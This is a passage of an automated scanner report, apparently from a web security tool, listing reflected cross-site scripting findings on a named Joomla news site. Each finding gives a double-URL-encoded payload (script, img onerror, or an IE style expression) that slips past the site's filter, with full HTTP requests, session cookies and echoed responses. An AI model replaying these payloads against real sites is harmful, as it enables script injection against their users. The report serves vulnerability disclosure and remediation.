There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/732e7%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253effdce0069 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:36 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/732e7"><img src=a onerror=alert(1)>ffdce0069" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8404e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e42b8d45929b was submitted in the REST URL parameter 1. This input was echoed as 8404e"><script>alert(1)</script>42b8d45929b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos8404e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e42b8d45929b/68-joomla-sveikinimas-sv-kaledu-ir-naujuju-metu-proga.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:48 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15911
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos8404e"><script>alert(1)</script>42b8d45929b/68-joomla-sveikinimas-sv-kaledu-ir-naujuju-metu-proga.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f293%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3dd01bbbb04 was submitted in the REST URL parameter 2. This input was echoed as 7f293"><img src=a onerror=alert(1)>3dd01bbbb04 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/7f293%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e3dd01bbbb04 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:38 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16860
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/7f293"><img src=a onerror=alert(1)>3dd01bbbb04" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 811dd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e63483d0e7d7 was submitted in the REST URL parameter 1. This input was echoed as 811dd"><script>alert(1)</script>63483d0e7d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos811dd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e63483d0e7d7/69-lithuanianjoomlacom-atnaujinama.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:39 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15952
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos811dd"><script>alert(1)</script>63483d0e7d7/69-lithuanianjoomlacom-atnaujinama.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 752f0%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee9c9deba8 was submitted in the REST URL parameter 2. This input was echoed as 752f0"><img src=a onerror=alert(1)>e9c9deba8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/752f0%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee9c9deba8 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:28 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/752f0"><img src=a onerror=alert(1)>e9c9deba8" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b6f1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6edcf657b28 was submitted in the REST URL parameter 1. This input was echoed as 1b6f1"><script>alert(1)</script>6edcf657b28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos1b6f1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6edcf657b28/70-joomla-16-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:33 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16652
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos1b6f1"><script>alert(1)</script>6edcf657b28/70-joomla-16-isleista.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a58a1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e0a76c799042 was submitted in the REST URL parameter 2. This input was echoed as a58a1"><img src=a onerror=alert(1)>0a76c799042 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/a58a1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e0a76c799042 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:22 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13613
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/a58a1"><img src=a onerror=alert(1)>0a76c799042" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4b70f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1469d13651 was submitted in the REST URL parameter 1. This input was echoed as 4b70f"><script>alert(1)</script>a1469d13651 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos4b70f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1469d13651/71-lietuviu-kalba-joomla-16-versijai.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:32 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15613
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos4b70f"><script>alert(1)</script>a1469d13651/71-lietuviu-kalba-joomla-16-versijai.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a753%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253efe6f52d12d7 was submitted in the REST URL parameter 2. This input was echoed as 2a753"><img src=a onerror=alert(1)>fe6f52d12d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/2a753%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253efe6f52d12d7 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:20 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16679
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/2a753"><img src=a onerror=alert(1)>fe6f52d12d7" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61531%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ed3c1aa5c518 was submitted in the REST URL parameter 1. This input was echoed as 61531"><img src=a onerror=alert(1)>d3c1aa5c518 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /61531%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ed3c1aa5c518 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:36 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13452
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/61531"><img src=a onerror=alert(1)>d3c1aa5c518" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8325f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee5bd78503f0 was submitted in the REST URL parameter 1. This input was echoed as 8325f"><img src=a onerror=alert(1)>e5bd78503f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /8325f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee5bd78503f0 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:38 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13448
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/8325f"><img src=a onerror=alert(1)>e5bd78503f0" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb055%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e22ae4dc4162 was submitted in the REST URL parameter 1. This input was echoed as cb055"><img src=a onerror=alert(1)>22ae4dc4162 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /cb055%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e22ae4dc4162 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:39 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13444
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/cb055"><img src=a onerror=alert(1)>22ae4dc4162" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload feff1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e4eee9e43b2b was submitted in the REST URL parameter 1. This input was echoed as feff1"><img src=a onerror=alert(1)>4eee9e43b2b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /feff1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e4eee9e43b2b HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:35 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13444
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/feff1"><img src=a onerror=alert(1)>4eee9e43b2b" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6faf%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec1202c31614 was submitted in the REST URL parameter 1. This input was echoed as a6faf"><img src=a onerror=alert(1)>c1202c31614 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /a6faf%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ec1202c31614 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:26 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13444
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/a6faf"><img src=a onerror=alert(1)>c1202c31614" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f691%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e01c4d9e30e1 was submitted in the REST URL parameter 1. This input was echoed as 8f691"><img src=a onerror=alert(1)>01c4d9e30e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /8f691%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e01c4d9e30e1 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:15 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17145
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/8f691"><img src=a onerror=alert(1)>01c4d9e30e1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29ded%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eced0bcfe368 was submitted in the REST URL parameter 1. This input was echoed as 29ded"><img src=a onerror=alert(1)>ced0bcfe368 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /29ded%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eced0bcfe368 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:23 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13448
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/29ded"><img src=a onerror=alert(1)>ced0bcfe368" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a109%2522%253e%253cx%2520style%253dx%253aexpression%2528alert%25281%2529%2529%253e856555f93b0 was submitted in the REST URL parameter 4. This input was echoed as 8a109"><x style=x:expression(alert(1))>856555f93b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
